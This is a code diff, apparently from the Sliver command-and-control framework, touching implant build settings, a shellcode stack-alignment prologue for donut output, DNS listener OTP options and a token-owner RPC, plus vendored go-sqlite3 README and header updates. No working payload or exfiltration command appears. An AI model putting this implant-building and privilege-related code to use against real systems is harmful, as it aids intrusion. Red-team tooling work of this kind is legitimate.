 	if goConfig.GOOS == WINDOWS {
 		dest += ".dll"
 	}
@@ -365,6 +368,10 @@ func SliverSharedLibrary(name string, config *models.ImplantConfig) (string, err
 	if !config.Debug && goConfig.GOOS == WINDOWS {
 		ldflags[0] += " -H=windowsgui"
 	}
+	// Statically link Linux .so files to avoid glibc hell
+	if goConfig.GOOS == LINUX && goConfig.CC != "" && goConfig.CGO == "1" {
+		ldflags[0] += " -linkmode external -extldflags \"-static\""
+	}
 	// Keep those for potential later use
 	gcflags := ""
 	asmflags := ""
@@ -374,7 +381,7 @@ func SliverSharedLibrary(name string, config *models.ImplantConfig) (string, err
 	if err != nil {
 		return "", err
 	}
-	config.FileName = path.Base(dest)
+	config.FileName = filepath.Base(dest)
 
 	err = ImplantBuildSave(name, config, dest)
 	if err != nil {
@@ -401,6 +408,7 @@ func SliverExecutable(name string, config *models.ImplantConfig) (string, error)
 		GOMODCACHE: gogo.GetGoModCache(appDir),
 		GOPROXY:    getGoProxy(),
 		HTTPPROXY:  getGoHttpProxy(),
+		HTTPSPROXY: getGoHttpsProxy(),
 
 		Obfuscation: config.ObfuscateSymbols,
 		GOGARBLE:    goPrivate(config),
@@ -669,14 +677,18 @@ func getCrossCompilersFromEnv(targetGoos string, targetGoarch string) (string, s
 
 	// Get Defaults
 	if targetGoarch == "amd64" {
-		cc = os.Getenv(SliverCC64EnvVar)
 		if os.Getenv(fmt.Sprintf(SliverPlatformCC64EnvVar, TARGET_GOOS)) != "" {
 			cc = os.Getenv(fmt.Sprintf(SliverPlatformCC64EnvVar, TARGET_GOOS))
 		}
-		cxx = os.Getenv(SliverCXX64EnvVar)
+		if cc == "" {
+			cc = os.Getenv(SliverCC64EnvVar)
+		}
 		if os.Getenv(fmt.Sprintf(SliverPlatformCXX64EnvVar, TARGET_GOOS)) != "" {
 			cc = os.Getenv(fmt.Sprintf(SliverPlatformCXX64EnvVar, TARGET_GOOS))
 		}
+		if cxx == "" {
+			cxx = os.Getenv(SliverCXX64EnvVar)
+		}
 	}
 	if targetGoarch == "386" {
 		cc = os.Getenv(SliverCC32EnvVar)
@@ -713,11 +725,9 @@ func findCrossCompilers(targetGoos string, targetGoarch string) (string, string)
 	// Check to see if CC and CXX exist
 	if _, err := os.Stat(cc); os.IsNotExist(err) {
 		buildLog.Warnf("CC path '%s' does not exist", cc)
-		cc = "" // Path does not exist
 	}
 	if _, err := os.Stat(cxx); os.IsNotExist(err) {
 		buildLog.Warnf("CXX path '%s' does not exist", cxx)
-		cxx = "" // Path does not exist
 	}
 	buildLog.Debugf(" CC = '%s'", cc)
 	buildLog.Debugf("CXX = '%s'", cxx)
@@ -872,6 +882,16 @@ func getGoHttpProxy() string {
 	return ""
 }
 
+func getGoHttpsProxy() string {
+	value, present := os.LookupEnv("HTTPS_PROXY")
+	if present {
+		buildLog.Debugf("Using HTTPS_PROXY from env: %s", value)
+		return value
+	}
+	buildLog.Debugf("No HTTPS_PROXY found")
+	return ""
+}
+
 const (
 	// GoPrivate - The default Go private arg to garble when obfuscation is enabled.
 	// Wireguard dependencies prevent the use of wildcard github.com/* and golang.org/*.

server/generate/donut.go

@@ -78,6 +78,12 @@ func getDonut(data []byte, config *donut.DonutConfig) (shellcode []byte, err err
 		return
 	}
 	shellcode = res.Bytes()
+	stackCheckPrologue := []byte{
+		// Check stack is 8 byte but not 16 byte aligned or else errors in LoadLibrary
+		0x48, 0x83, 0xE4, 0xF0, // and rsp,0xfffffffffffffff0
+		0x48, 0x83, 0xC4, 0x08, // add rsp,0x8
+	}
+	shellcode = append(stackCheckPrologue, shellcode...)
 	return
 }
 

server/gogo/go.go

@@ -56,6 +56,7 @@ type GoConfig struct {
 	CC         string
 	CXX        string
 	HTTPPROXY  string
+	HTTPSPROXY string
 
 	Obfuscation bool
 	GOGARBLE    string
@@ -117,6 +118,7 @@ func GarbleCmd(config GoConfig, cwd string, command []string) ([]byte, error) {
 		fmt.Sprintf("GOPROXY=%s", config.GOPROXY),
 		fmt.Sprintf("GARBLE_MAX_LITERAL_SIZE=%s", garbleMaxLiteralSize()),
 		fmt.Sprintf("HTTP_PROXY=%s", config.HTTPPROXY),
+		fmt.Sprintf("HTTPS_PROXY=%s", config.HTTPSPROXY),
 		fmt.Sprintf("PATH=%s:%s", filepath.Join(config.GOROOT, "bin"), os.Getenv("PATH")),
 		fmt.Sprintf("GOGARBLE=%s", config.GOGARBLE),
 	}
@@ -124,7 +126,10 @@ func GarbleCmd(config GoConfig, cwd string, command []string) ([]byte, error) {
 	var stderr bytes.Buffer
 	cmd.Stdout = &stdout
 	cmd.Stderr = &stderr
-
+	gogoLog.Debugf("--- env ---\n")
+	for _, envVar := range cmd.Env {
+		gogoLog.Debugf("%s\n", envVar)
+	}
 	gogoLog.Infof("garble cmd: '%v'", cmd)
 	err := cmd.Run()
 	if err != nil {
@@ -155,6 +160,7 @@ func GoCmd(config GoConfig, cwd string, command []string) ([]byte, error) {
 		fmt.Sprintf("GOMODCACHE=%s", config.GOMODCACHE),
 		fmt.Sprintf("GOPROXY=%s", config.GOPROXY),
 		fmt.Sprintf("HTTP_PROXY=%s", config.HTTPPROXY),
+		fmt.Sprintf("HTTPS_PROXY=%s", config.HTTPSPROXY),
 		fmt.Sprintf("PATH=%s:%s", filepath.Join(config.GOROOT, "bin"), os.Getenv("PATH")),
 	}
 	var stdout bytes.Buffer

server/rpc/rpc-jobs.go

@@ -159,17 +159,18 @@ func (rpc *Server) StartDNSListener(ctx context.Context, req *clientpb.DNSListen
 		listenPort = uint16(req.Port)
 	}
 
-	job, err := c2.StartDNSListenerJob(req.Host, listenPort, req.Domains, req.Canaries)
+	job, err := c2.StartDNSListenerJob(req.Host, listenPort, req.Domains, req.Canaries, req.EnforceOTP)
 	if err != nil {
 		return nil, err
 	}
 
 	if req.Persistent {
 		cfg := &configs.DNSJobConfig{
-			Domains:  req.Domains,
-			Host:     req.Host,
-			Port:     listenPort,
-			Canaries: req.Canaries,
+			Domains:    req.Domains,
+			Host:       req.Host,
+			Port:       listenPort,
+			Canaries:   req.Canaries,
+			EnforceOTP: req.EnforceOTP,
 		}
 		configs.GetServerConfig().AddDNSJob(cfg)
 		job.PersistentID = cfg.JobID

server/rpc/rpc-priv.go

@@ -62,6 +62,16 @@ func (rpc *Server) RevToSelf(ctx context.Context, req *sliverpb.RevToSelfReq) (*
 	return resp, nil
 }
 
+// CurrentTokenOwner - Retrieve the thread token's owner
+func (rpc *Server) CurrentTokenOwner(ctx context.Context, req *sliverpb.CurrentTokenOwnerReq) (*sliverpb.CurrentTokenOwner, error) {
+	resp := &sliverpb.CurrentTokenOwner{Response: &commonpb.Response{}}
+	err := rpc.GenericHandler(req, resp)
+	if err != nil {
+		return nil, err
+	}
+	return resp, nil
+}
+
 // GetSystem - Attempt to get 'NT AUTHORITY/SYSTEM' access on a remote Windows system
 func (rpc *Server) GetSystem(ctx context.Context, req *clientpb.GetSystemReq) (*sliverpb.GetSystem, error) {
 	var shellcode []byte

vendor/github.com/mattn/go-sqlite3/README.md

@@ -7,17 +7,17 @@ go-sqlite3
 [![codecov](https://codecov.io/gh/mattn/go-sqlite3/branch/master/graph/badge.svg)](https://codecov.io/gh/mattn/go-sqlite3)
 [![Go Report Card](https://goreportcard.com/badge/github.com/mattn/go-sqlite3)](https://goreportcard.com/report/github.com/mattn/go-sqlite3)
 
-Latest stable version is v1.14 or later not v2.
+Latest stable version is v1.14 or later, not v2.
 
 ~~**NOTE:** The increase to v2 was an accident. There were no major changes or features.~~
 
 # Description
 
-sqlite3 driver conforming to the built-in database/sql interface
+A sqlite3 driver that conforms to the built-in database/sql interface.
 
-Supported Golang version: See [.github/workflows/go.yaml](./.github/workflows/go.yaml)
+Supported Golang version: See [.github/workflows/go.yaml](./.github/workflows/go.yaml).
 
-[This package follows the official Golang Release Policy.](https://golang.org/doc/devel/release.html#policy)
+This package follows the official [Golang Release Policy](https://golang.org/doc/devel/release.html#policy).
 
 ### Overview
 
@@ -64,7 +64,7 @@ Supported Golang version: See [.github/workflows/go.yaml](./.github/workflows/go
 
 # Installation
 
-This package can be installed with the go get command:
+This package can be installed with the `go get` command:
 
     go get github.com/mattn/go-sqlite3
 
@@ -72,28 +72,28 @@ _go-sqlite3_ is *cgo* package.
 If you want to build your app using go-sqlite3, you need gcc.
 However, after you have built and installed _go-sqlite3_ with `go install github.com/mattn/go-sqlite3` (which requires gcc), you can build your app without relying on gcc in future.
 
-***Important: because this is a `CGO` enabled package you are required to set the environment variable `CGO_ENABLED=1` and have a `gcc` compile present within your path.***
+***Important: because this is a `CGO` enabled package, you are required to set the environment variable `CGO_ENABLED=1` and have a `gcc` compile present within your path.***
 
 # API Reference
 
-API documentation can be found here: http://godoc.org/github.com/mattn/go-sqlite3
+API documentation can be found [here](http://godoc.org/github.com/mattn/go-sqlite3).
 
-Examples can be found under the [examples](./_example) directory
+Examples can be found under the [examples](./_example) directory.
 
 # Connection String
 
 When creating a new SQLite database or connection to an existing one, with the file name additional options can be given.
-This is also known as a DSN string. (Data Source Name).
+This is also known as a DSN (Data Source Name) string.
 
 Options are append after the filename of the SQLite database.
-The database filename and options are seperated by an `?` (Question Mark).
+The database filename and options are separated by an `?` (Question Mark).
 Options should be URL-encoded (see [url.QueryEscape](https://golang.org/pkg/net/url/#QueryEscape)).
 
 This also applies when using an in-memory database instead of a file.
 
 Options can be given using the following format: `KEYWORD=VALUE` and multiple options can be combined with the `&` ampersand.
 
-This library supports dsn options of SQLite itself and provides additional options.
+This library supports DSN options of SQLite itself and provides additional options.
 
 Boolean values can be one of:
 * `0` `no` `false` `off`
@@ -138,19 +138,18 @@ file:test.db?cache=shared&mode=memory
 
 This package allows additional configuration of features available within SQLite3 to be enabled or disabled by golang build constraints also known as build `tags`.
 
-[Click here for more information about build tags / constraints.](https://golang.org/pkg/go/build/#hdr-Build_Constraints)
+Click [here](https://golang.org/pkg/go/build/#hdr-Build_Constraints) for more information about build tags / constraints.
 
 ### Usage
 
-If you wish to build this library with additional extensions / features.
-Use the following command.
+If you wish to build this library with additional extensions / features, use the following command:
 
 ```bash
 go build --tags "<FEATURE>"
 ```
 
-For available features see the extension list.
-When using multiple build tags, all the different tags should be space delimted.
+For available features, see the extension list.
+When using multiple build tags, all the different tags should be space delimited.
 
 Example:
 
@@ -181,9 +180,9 @@ go build --tags "icu json1 fts5 secure_delete"
 
 # Compilation
 
-This package requires `CGO_ENABLED=1` ennvironment variable if not set by default, and the presence of the `gcc` compiler.
+This package requires the `CGO_ENABLED=1` ennvironment variable if not set by default, and the presence of the `gcc` compiler.
 
-If you need to add additional CFLAGS or LDFLAGS to the build command, and do not want to modify this package. Then this can be achieved by  using the `CGO_CFLAGS` and `CGO_LDFLAGS` environment variables.
+If you need to add additional CFLAGS or LDFLAGS to the build command, and do not want to modify this package, then this can be achieved by using the `CGO_CFLAGS` and `CGO_LDFLAGS` environment variables.
 
 ## Android
 
@@ -198,7 +197,7 @@ For more information see [#201](https://github.com/mattn/go-sqlite3/issues/201)
 
 # ARM
 
-To compile for `ARM` use the following environment.
+To compile for `ARM` use the following environment:
 
 ```bash
 env CC=arm-linux-gnueabihf-gcc CXX=arm-linux-gnueabihf-g++ \
@@ -234,7 +233,7 @@ Please work only with compiled final binaries.
 
 ## Linux
 
-To compile this package on Linux you must install the development tools for your linux distribution.
+To compile this package on Linux, you must install the development tools for your linux distribution.
 
 To compile under linux use the build tag `linux`.
 
@@ -250,7 +249,7 @@ go build --tags "libsqlite3 linux"
 
 ### Alpine
 
-When building in an `alpine` container run the following command before building.
+When building in an `alpine` container  run the following command before building:
 
 ```
 apk add --update gcc musl-dev
@@ -270,29 +269,29 @@ sudo apt-get install build-essential
 
 ## Mac OSX
 
-OSX should have all the tools present to compile this package, if not install XCode this will add all the developers tools.
+OSX should have all the tools present to compile this package. If not, install XCode to add all the developers tools.
 
-Required dependency
+Required dependency:
 
 ```bash
 brew install sqlite3
 ```
 
-For OSX there is an additional package install which is required if you wish to build the `icu` extension.
+For OSX, there is an additional package to install which is required if you wish to build the `icu` extension.
 
-This additional package can be installed with `homebrew`.
+This additional package can be installed with `homebrew`:
 
 ```bash
 brew upgrade icu4c
 ```
 
-To compile for Mac OSX.
+To compile for Mac OSX:
 
 ```bash
 go build --tags "darwin"
 ```
 
-If you wish to link directly to libsqlite3 then you can use the `libsqlite3` build tag.
+If you wish to link directly to libsqlite3, use the `libsqlite3` build tag:
 
 ```
 go build --tags "libsqlite3 darwin"
@@ -304,14 +303,14 @@ Additional information:
 
 ## Windows
 
-To compile this package on Windows OS you must have the `gcc` compiler installed.
+To compile this package on Windows, you must have the `gcc` compiler installed.
 
 1) Install a Windows `gcc` toolchain.
-2) Add the `bin` folders to the Windows path if the installer did not do this by default.
-3) Open a terminal for the TDM-GCC toolchain, can be found in the Windows Start menu.
+2) Add the `bin` folder to the Windows path, if the installer did not do this by default.
+3) Open a terminal for the TDM-GCC toolchain, which can be found in the Windows Start menu.
 4) Navigate to your project folder and run the `go build ...` command for this package.
 
-For example the TDM-GCC Toolchain can be found [here](https://sourceforge.net/projects/tdm-gcc/).
+For example the TDM-GCC Toolchain can be found [here](https://jmeubank.github.io/tdm-gcc/).
 
 ## Errors
 
@@ -349,28 +348,28 @@ This package supports the SQLite User Authentication module.
 
 ## Compile
 
-To use the User authentication module the package has to be compiled with the tag `sqlite_userauth`. See [Features](#features).
+To use the User authentication module, the package has to be compiled with the tag `sqlite_userauth`. See [Features](#features).
 
 ## Usage
 
 ### Create protected database
 
-To create a database protected by user authentication provide the following argument to the connection string `_auth`.
+To create a database protected by user authentication, provide the following argument to the connection string `_auth`.
 This will enable user authentication within the database. This option however requires two additional arguments:
 
 - `_auth_user`
 - `_auth_pass`
 
-When `_auth` is present on the connection string user authentication will be enabled and the provided user will be created
+When `_auth` is present in the connection string user authentication will be enabled and the provided user will be created
 as an `admin` user. After initial creation, the parameter `_auth` has no effect anymore and can be omitted from the connection string.
 
-Example connection string:
+Example connection strings:
 
-Create an user authentication database with user `admin` and password `admin`.
+Create an user authentication database with user `admin` and password `admin`:
 
 `file:test.s3db?_auth&_auth_user=admin&_auth_pass=admin`
 
-Create an user authentication database with user `admin` and password `admin` and use `SHA1` for the password encoding.
+Create an user authentication database with user `admin` and password `admin` and use `SHA1` for the password encoding:
 
 `file:test.s3db?_auth&_auth_user=admin&_auth_pass=admin&_auth_crypt=sha1`
 
@@ -396,11 +395,11 @@ salt this can be configured with `_auth_salt`.
 
 ### Restrictions
 
-Operations on the database regarding to user management can only be preformed by an administrator user.
+Operations on the database regarding user management can only be preformed by an administrator user.
 
 ### Support
 
-The user authentication supports two kinds of users
+The user authentication supports two kinds of users:
 
 - administrators
 - regular users
@@ -411,7 +410,7 @@ User management can be done by directly using the `*SQLiteConn` or by SQL.
 
 #### SQL
 
-The following sql functions are available for user management.
+The following sql functions are available for user management:
 
 | Function | Arguments | Description |
 |----------|-----------|-------------|
@@ -420,7 +419,7 @@ The following sql functions are available for user management.
 | `auth_user_change` | username `string`, password `string`, admin `int` | Function to modify an user. Users can change their own password, but only an administrator can change the administrator flag. |
 | `authUserDelete` | username `string` | Delete an user from the database. Can only be used by an administrator. The current logged in administrator cannot be deleted. This is to make sure their is always an administrator remaining. |
 
-These functions will return an integer.
+These functions will return an integer:
 
 - 0 (SQLITE_OK)
 - 23 (SQLITE_AUTH) Failed to perform due to authentication or insufficient privileges
@@ -441,7 +440,7 @@ SELECT user_delete('user');
 
 #### *SQLiteConn
 
-The following functions are available for User authentication from the `*SQLiteConn`.
+The following functions are available for User authentication from the `*SQLiteConn`:
 
 | Function | Description |
 |----------|-------------|
@@ -452,16 +451,16 @@ The following functions are available for User authentication from the `*SQLiteC
 
 ### Attached database
 
-When using attached databases. SQLite will use the authentication from the `main` database for the attached database(s).
+When using attached databases, SQLite will use the authentication from the `main` database for the attached database(s).
 
 # Extensions
 
-If you want your own extension to be listed here or you want to add a reference to an extension; please submit an Issue for this.
+If you want your own extension to be listed here, or you want to add a reference to an extension; please submit an Issue for this.
 
 ## Spatialite
 
 Spatialite is available as an extension to SQLite, and can be used in combination with this repository.
-For an example see [shaxbee/go-spatialite](https://github.com/shaxbee/go-spatialite).
+For an example, see [shaxbee/go-spatialite](https://github.com/shaxbee/go-spatialite).
 
 ## extension-functions.c from SQLite3 Contrib
 
@@ -471,7 +470,7 @@ extension-functions.c is available as an extension to SQLite, and provides the f
 - String: replicate, charindex, leftstr, rightstr, ltrim, rtrim, trim, replace, reverse, proper, padl, padr, padc, strfilter.
 - Aggregate: stdev, variance, mode, median, lower_quartile, upper_quartile
 
-For an example see [dinedal/go-sqlite3-extension-functions](https://github.com/dinedal/go-sqlite3-extension-functions).
+For an example, see [dinedal/go-sqlite3-extension-functions](https://github.com/dinedal/go-sqlite3-extension-functions).
 
 # FAQ
 
@@ -491,7 +490,7 @@ For an example see [dinedal/go-sqlite3-extension-functions](https://github.com/d
 
 - Can I use this in multiple routines concurrently?
 
-    Yes for readonly. But, No for writable. See [#50](https://github.com/mattn/go-sqlite3/issues/50), [#51](https://github.com/mattn/go-sqlite3/issues/51), [#209](https://github.com/mattn/go-sqlite3/issues/209), [#274](https://github.com/mattn/go-sqlite3/issues/274).
+    Yes for readonly. But not for writable. See [#50](https://github.com/mattn/go-sqlite3/issues/50), [#51](https://github.com/mattn/go-sqlite3/issues/51), [#209](https://github.com/mattn/go-sqlite3/issues/209), [#274](https://github.com/mattn/go-sqlite3/issues/274).
 
 - Why I'm getting `no such table` error?
 
@@ -505,7 +504,7 @@ For an example see [dinedal/go-sqlite3-extension-functions](https://github.com/d
     
     Note that if the last database connection in the pool closes, the in-memory database is deleted. Make sure the [max idle connection limit](https://golang.org/pkg/database/sql/#DB.SetMaxIdleConns) is > 0, and the [connection lifetime](https://golang.org/pkg/database/sql/#DB.SetConnMaxLifetime) is infinite.
     
-    For more information see
+    For more information see:
     * [#204](https://github.com/mattn/go-sqlite3/issues/204)
     * [#511](https://github.com/mattn/go-sqlite3/issues/511)
     * https://www.sqlite.org/sharedcache.html#shared_cache_and_in_memory_databases
@@ -515,20 +514,20 @@ For an example see [dinedal/go-sqlite3-extension-functions](https://github.com/d
 
     OS X limits OS-wide to not have more than 1000 files open simultaneously by default.
 
-    For more information see [#289](https://github.com/mattn/go-sqlite3/issues/289)
+    For more information, see [#289](https://github.com/mattn/go-sqlite3/issues/289)
 
 - Trying to execute a `.` (dot) command throws an error.
 
     Error: `Error: near ".": syntax error`
-    Dot command are part of SQLite3 CLI not of this library.
+    Dot command are part of SQLite3 CLI, not of this library.
 
     You need to implement the feature or call the sqlite3 cli.
 
-    More information see [#305](https://github.com/mattn/go-sqlite3/issues/305)
+    More information see [#305](https://github.com/mattn/go-sqlite3/issues/305).
 
 - Error: `database is locked`
 
-    When you get a database is locked. Please use the following options.
+    When you get a database is locked, please use the following options.
 
     Add to DSN: `cache=shared`
 
@@ -537,24 +536,24 @@ For an example see [dinedal/go-sqlite3-extension-functions](https://github.com/d
     db, err := sql.Open("sqlite3", "file:locked.sqlite?cache=shared")
     ```
 
-    Second please set the database connections of the SQL package to 1.
+    Next, please set the database connections of the SQL package to 1:
     
     ```go
     db.SetMaxOpenConns(1)
     ```
 
-    More information see [#209](https://github.com/mattn/go-sqlite3/issues/209)
+    For more information, see [#209](https://github.com/mattn/go-sqlite3/issues/209).
 
 ## Contributors
 
 ### Code Contributors
 
-This project exists thanks to all the people who contribute. [[Contribute](CONTRIBUTING.md)].
+This project exists thanks to all the people who [[contribute](CONTRIBUTING.md)].
 <a href="https://github.com/mattn/go-sqlite3/graphs/contributors"><img src="https://opencollective.com/mattn-go-sqlite3/contributors.svg?width=890&button=false" /></a>
 
 ### Financial Contributors
 
-Become a financial contributor and help us sustain our community. [[Contribute](https://opencollective.com/mattn-go-sqlite3/contribute)]
+Become a financial contributor and help us sustain our community. [[Contribute here](https://opencollective.com/mattn-go-sqlite3/contribute)].
 
 #### Individuals
 

vendor/github.com/mattn/go-sqlite3/backup.go

@@ -7,7 +7,7 @@ package sqlite3
 
 /*
 #ifndef USE_LIBSQLITE3
-#include <sqlite3-binding.h>
+#include "sqlite3-binding.h"
 #else
 #include <sqlite3.h>
 #endif

vendor/github.com/mattn/go-sqlite3/callback.go

@@ -12,7 +12,7 @@ package sqlite3
 
 /*
 #ifndef USE_LIBSQLITE3
-#include <sqlite3-binding.h>
+#include "sqlite3-binding.h"
 #else
 #include <sqlite3.h>
 #endif

vendor/github.com/mattn/go-sqlite3/error.go

@@ -7,7 +7,7 @@ package sqlite3
 
 /*
 #ifndef USE_LIBSQLITE3
-#include <sqlite3-binding.h>
+#include "sqlite3-binding.h"
 #else
 #include <sqlite3.h>
 #endif

vendor/github.com/mattn/go-sqlite3/sqlite3-binding.h

@@ -44,7 +44,30 @@ extern "C" {
 
 
 /*
-** Provide the ability to override linkage features of the interface.
+** Facilitate override of interface linkage and calling conventions.
+** Be aware that these macros may not be used within this particular
+** translation of the amalgamation and its associated header file.
+**
+** The SQLITE_EXTERN and SQLITE_API macros are used to instruct the
+** compiler that the target identifier should have external linkage.
+**
+** The SQLITE_CDECL macro is used to set the calling convention for
+** public functions that accept a variable number of arguments.
+**
+** The SQLITE_APICALL macro is used to set the calling convention for
+** public functions that accept a fixed number of arguments.
+**
+** The SQLITE_STDCALL macro is no longer used and is now deprecated.
+**
+** The SQLITE_CALLBACK macro is used to set the calling convention for
+** function pointers.
+**
+** The SQLITE_SYSAPI macro is used to set the calling convention for
+** functions provided by the operating system.
+**
+** Currently, the SQLITE_CDECL, SQLITE_APICALL, SQLITE_CALLBACK, and
+** SQLITE_SYSAPI macros are used only when building for environments
+** that require non-default calling conventions.
 */
 #ifndef SQLITE_EXTERN
 # define SQLITE_EXTERN extern
@@ -124,9 +147,9 @@ extern "C" {
 ** [sqlite3_libversion_number()], [sqlite3_sourceid()],
 ** [sqlite_version()] and [sqlite_source_id()].
 */
-#define SQLITE_VERSION        "3.36.0"
-#define SQLITE_VERSION_NUMBER 3036000
-#define SQLITE_SOURCE_ID      "2021-06-18 18:36:39 5c9a6c06871cb9fe42814af9c039eb6da5427a6ec28f187af7ebfb62eafa66e5"
+#define SQLITE_VERSION        "3.38.0"
+#define SQLITE_VERSION_NUMBER 3038000
+#define SQLITE_SOURCE_ID      "2022-02-22 18:58:40 40fa792d359f84c3b9e9d6623743e1a59826274e221df1bde8f47086968a1bab"
 
 /*
 ** CAPI3REF: Run-Time Library Version Numbers
@@ -538,12 +561,13 @@ SQLITE_API int sqlite3_exec(
 #define SQLITE_CONSTRAINT_VTAB         (SQLITE_CONSTRAINT | (9<<8))
 #define SQLITE_CONSTRAINT_ROWID        (SQLITE_CONSTRAINT |(10<<8))
 #define SQLITE_CONSTRAINT_PINNED       (SQLITE_CONSTRAINT |(11<<8))
+#define SQLITE_CONSTRAINT_DATATYPE     (SQLITE_CONSTRAINT |(12<<8))
 #define SQLITE_NOTICE_RECOVER_WAL      (SQLITE_NOTICE | (1<<8))
 #define SQLITE_NOTICE_RECOVER_ROLLBACK (SQLITE_NOTICE | (2<<8))
 #define SQLITE_WARNING_AUTOINDEX       (SQLITE_WARNING | (1<<8))
 #define SQLITE_AUTH_USER               (SQLITE_AUTH | (1<<8))
 #define SQLITE_OK_LOAD_PERMANENTLY     (SQLITE_OK | (1<<8))
-#define SQLITE_OK_SYMLINK              (SQLITE_OK | (2<<8))
+#define SQLITE_OK_SYMLINK              (SQLITE_OK | (2<<8)) /* internal use only */
 
 /*
 ** CAPI3REF: Flags For File Open Operations
@@ -551,6 +575,19 @@ SQLITE_API int sqlite3_exec(
 ** These bit values are intended for use in the
 ** 3rd parameter to the [sqlite3_open_v2()] interface and
 ** in the 4th parameter to the [sqlite3_vfs.xOpen] method.
+**
+** Only those flags marked as "Ok for sqlite3_open_v2()" may be
+** used as the third argument to the [sqlite3_open_v2()] interface.
+** The other flags have historically been ignored by sqlite3_open_v2(),
+** though future versions of SQLite might change so that an error is
+** raised if any of the disallowed bits are passed into sqlite3_open_v2().
+** Applications should not depend on the historical behavior.
+**
+** Note in particular that passing the SQLITE_OPEN_EXCLUSIVE flag into
+** [sqlite3_open_v2()] does *not* cause the underlying database file
+** to be opened using O_EXCL.  Passing SQLITE_OPEN_EXCLUSIVE into
+** [sqlite3_open_v2()] has historically be a no-op and might become an
+** error in future versions of SQLite.
 */
 #define SQLITE_OPEN_READONLY         0x00000001  /* Ok for sqlite3_open_v2() */
 #define SQLITE_OPEN_READWRITE        0x00000002  /* Ok for sqlite3_open_v2() */
@@ -573,6 +610,7 @@ SQLITE_API int sqlite3_exec(
 #define SQLITE_OPEN_PRIVATECACHE     0x00040000  /* Ok for sqlite3_open_v2() */
 #define SQLITE_OPEN_WAL              0x00080000  /* VFS only */
 #define SQLITE_OPEN_NOFOLLOW         0x01000000  /* Ok for sqlite3_open_v2() */
+#define SQLITE_OPEN_EXRESCODE        0x02000000  /* Extended result codes */
 
 /* Reserved:                         0x00F00000 */
 /* Legacy compatibility: */
@@ -2465,11 +2503,14 @@ SQLITE_API void sqlite3_set_last_insert_rowid(sqlite3*,sqlite3_int64);
 ** CAPI3REF: Count The Number Of Rows Modified
 ** METHOD: sqlite3
 **
-** ^This function returns the number of rows modified, inserted or
+** ^These functions return the number of rows modified, inserted or
 ** deleted by the most recently completed INSERT, UPDATE or DELETE
 ** statement on the database connection specified by the only parameter.
-** ^Executing any other type of SQL statement does not modify the value
-** returned by this function.
+** The two functions are identical except for the type of the return value
+** and that if the number of rows modified by the most recent INSERT, UPDATE
+** or DELETE is greater than the maximum value supported by type "int", then
+** the return value of sqlite3_changes() is undefined. ^Executing any other
+** type of SQL statement does not modify the value returned by these functions.
 **
 ** ^Only changes made directly by the INSERT, UPDATE or DELETE statement are
 ** considered - auxiliary changes caused by [CREATE TRIGGER | triggers],
@@ -2518,16 +2559,21 @@ SQLITE_API void sqlite3_set_last_insert_rowid(sqlite3*,sqlite3_int64);
 ** </ul>
 */
 SQLITE_API int sqlite3_changes(sqlite3*);
+SQLITE_API sqlite3_int64 sqlite3_changes64(sqlite3*);
 
 /*
 ** CAPI3REF: Total Number Of Rows Modified
 ** METHOD: sqlite3
 **
-** ^This function returns the total number of rows inserted, modified or
+** ^These functions return the total number of rows inserted, modified or
 ** deleted by all [INSERT], [UPDATE] or [DELETE] statements completed
 ** since the database connection was opened, including those executed as
-** part of trigger programs. ^Executing any other type of SQL statement
-** does not affect the value returned by sqlite3_total_changes().
+** part of trigger programs. The two functions are identical except for the
+** type of the return value and that if the number of rows modified by the
+** connection exceeds the maximum value supported by type "int", then
+** the return value of sqlite3_total_changes() is undefined. ^Executing
+** any other type of SQL statement does not affect the value returned by
+** sqlite3_total_changes().
 **
 ** ^Changes made as part of [foreign key actions] are included in the
 ** count, but those made as part of REPLACE constraint resolution are
@@ -2555,6 +2601,7 @@ SQLITE_API int sqlite3_changes(sqlite3*);
 ** </ul>
 */
 SQLITE_API int sqlite3_total_changes(sqlite3*);
+SQLITE_API sqlite3_int64 sqlite3_total_changes64(sqlite3*);
 
 /*
 ** CAPI3REF: Interrupt A Long-Running Query
@@ -3384,6 +3431,14 @@ SQLITE_API void sqlite3_progress_handler(sqlite3*, int, int(*)(void*), void*);
 ** the default shared cache setting provided by
 ** [sqlite3_enable_shared_cache()].)^
 **
+** [[OPEN_EXRESCODE]] ^(<dt>[SQLITE_OPEN_EXRESCODE]</dt>
+** <dd>The database connection comes up in "extended result code mode".
+** In other words, the database behaves has if
+** [sqlite3_extended_result_codes(db,1)] where called on the database
+** connection as soon as the connection is created. In addition to setting
+** the extended result code mode, this flag also causes [sqlite3_open_v2()]
+** to return an extended result code.</dd>
+**
 ** [[OPEN_NOFOLLOW]] ^(<dt>[SQLITE_OPEN_NOFOLLOW]</dt>
 ** <dd>The database filename is not allowed to be a symbolic link</dd>
 ** </dl>)^
@@ -3391,7 +3446,15 @@ SQLITE_API void sqlite3_progress_handler(sqlite3*, int, int(*)(void*), void*);
 ** If the 3rd parameter to sqlite3_open_v2() is not one of the
 ** required combinations shown above optionally combined with other
 ** [SQLITE_OPEN_READONLY | SQLITE_OPEN_* bits]
-** then the behavior is undefined.
+** then the behavior is undefined.  Historic versions of SQLite
+** have silently ignored surplus bits in the flags parameter to
+** sqlite3_open_v2(), however that behavior might not be carried through
+** into future versions of SQLite and so applications should not rely
+** upon it.  Note in particular that the SQLITE_OPEN_EXCLUSIVE flag is a no-op
+** for sqlite3_open_v2().  The SQLITE_OPEN_EXCLUSIVE does *not* cause
+** the open to fail if the database already exists.  The SQLITE_OPEN_EXCLUSIVE
+** flag is intended for use by the [sqlite3_vfs|VFS interface] only, and not
+** by sqlite3_open_v2().
 **
 ** ^The fourth parameter to sqlite3_open_v2() is the name of the
 ** [sqlite3_vfs] object that defines the operating system interface that
@@ -3762,13 +3825,14 @@ SQLITE_API void sqlite3_free_filename(char*);
 ** sqlite3_extended_errcode() might change with each API call.
 ** Except, there are some interfaces that are guaranteed to never
 ** change the value of the error code.  The error-code preserving
-** interfaces are:
+** interfaces include the following:
 **
 ** <ul>
 ** <li> sqlite3_errcode()
 ** <li> sqlite3_extended_errcode()
 ** <li> sqlite3_errmsg()
 ** <li> sqlite3_errmsg16()
+** <li> sqlite3_error_offset()
 ** </ul>
 **
 ** ^The sqlite3_errmsg() and sqlite3_errmsg16() return English-language
@@ -3783,6 +3847,13 @@ SQLITE_API void sqlite3_free_filename(char*);
 ** ^(Memory to hold the error message string is managed internally
 ** and must not be freed by the application)^.
 **
+** ^If the most recent error references a specific token in the input
+** SQL, the sqlite3_error_offset() interface returns the byte offset
+** of the start of that token.  ^The byte offset returned by
+** sqlite3_error_offset() assumes that the input SQL is UTF8.
